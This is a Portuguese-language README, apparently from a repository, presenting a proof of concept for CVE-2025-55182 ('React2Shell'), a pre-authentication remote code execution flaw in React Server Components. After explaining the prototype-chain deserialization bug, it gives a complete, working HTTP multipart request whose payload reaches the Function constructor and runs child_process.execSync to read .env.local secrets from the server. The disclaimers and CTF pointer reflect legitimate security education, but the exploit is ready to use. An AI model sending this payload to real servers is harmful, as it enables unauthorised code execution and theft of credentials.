
Este repositório contém um POC do CVE-2025-55182, uma vulnerabilidade crítica (pontuação CVSS 10.0) de execução remota de código pré-autenticação que afeta o React Server Components, também conhecida como React2Shell.
⚠️ AVISO: Este repositório é apenas para fins educacionais e de pesquisa em segurança. Não use este exploit em sistemas que você não possui ou sem permissão explícita para testar.
Este repositório contém uma demonstração de prova de conceito de CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código sem autenticação que afeta os React Server Components.
Pontuação CVSS: 10.0 (Crítica)
Versões Afetadas:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182 é uma vulnerabilidade de desserialização insegura na implementação do protocolo Flight dos React Server Components. A vulnerabilidade permite que atacantes não autenticados executem código JavaScript arbitrário no servidor, criando payloads maliciosos que exploram a travessia da cadeia de protótipos e padrões inseguros de acesso a propriedades.
A vulnerabilidade decorre de como os React Server Components desserializam os payloads do protocolo Flight. Ao processar referências de módulo, o código usa notação de colchetes para acessar propriedades (moduleExports[metadata[2]]), que percorre toda a cadeia de protótipos do JavaScript. Isso permite que atacantes referenciem propriedades que não foram explicitamente exportadas, incluindo a propriedade constructor, que fornece acesso ao construtor global Function.
Ao encadear técnicas de poluição de protótipo com os mecanismos internos de processamento de chunks do React, um atacante pode construir um payload que, em última análise, executa código arbitrário através do construtor Function.
Crie um novo projeto usando uma versão que inclua os React Server Components vulneráveis:
npx [email protected] poc-react2shell
cd poc-react2shell
Ou use este repositório.
Crie um arquivo .env.local na raiz do projeto para demonstrar o impacto da vulnerabilidade:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Inicie o servidor de desenvolvimento do Next.js:
npm run dev
O servidor deve iniciar em http://localhost:3000.
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
A resposta deve conter o conteúdo do seu arquivo .env.local no corpo da resposta:

O payload consiste em três campos de formulário multipart:
Campo 0: Um objeto chunk falso contendo:
$1:__proto__:then)$B1337) que aciona o exploit_response poluído com _prefix e _formData.get maliciososCampo 1: Uma referência ao campo 0 ($@0)
Campo 2: Um array vazio ([])
O código malicioso em _prefix lê .env.local usando child_process.execSync do Node.js e insere o resultado em um digest de erro.
Esta vulnerabilidade permite que atacantes:
Pratique este CVE em um cenário real
Quer explorar o CVE-2025-55182 em um ambiente CTF prático? Confira OSS OopsSec Store, um laboratório deliberadamente vulnerável projetado para treinamento de segurança ofensiva. Este CVE está implementado como uma das flags!
Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa em segurança. Sempre certifique-se de ter permissão explícita por escrito antes de testar vulnerabilidades de segurança em qualquer sistema.